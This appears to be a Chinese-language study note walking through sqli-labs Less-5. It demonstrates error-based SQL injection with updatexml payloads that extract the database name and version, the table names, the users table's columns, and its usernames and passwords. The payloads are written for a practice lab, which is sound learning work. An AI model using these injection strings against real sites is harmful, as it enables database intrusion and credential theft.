sqli-labs学习记录5
less-5
打开靶场
可以看到和前四关给的回显不一样了。
这里我们继续输入id=1’,进行试探
输入 id=1’ --+
不报错,应该是第一关那样的单引号包括的,
爆破字段数
id=1’ order by 3 --+
没有报错,尝试 id=1’ order by 4 --+
报错了,知道了字段数为3.
爆破回显字段
id=-1’ union select 1,2,3 --+
发现不回显了,说明这种方式是不行了。
这里就接触到了一个新的回显方式是报错注入回显。
报错注入
报错注入大佬的解释
报错注入返回数据库的名称与数据库版本
id=1’ and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
可以看到通过报错,出现了数据库名称与数据库版本
报错注入返回数据库的表
id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,32)),1) --+
报错返回了一些对应的数据库表
报错注入返回数据库users表的字段名
id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name =‘users’),1,30)),1)–+
返回了字段名,用户名与密码的字段名
报错注入返回数据库users表中的数据
id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
可以看到返回了一部分的数据库信息。是因为updatexml这个函数只能返回32个字符的错误,所以只得到了一部分的字符。
id=1’ and updatexml(1,concat(0x7e,(select username from users limit 2,1)),1) --+,用上面这个报错语句,可以指定返回的列表信息,利用limit函数的偏移量来完成,查看第四条就将2改为3.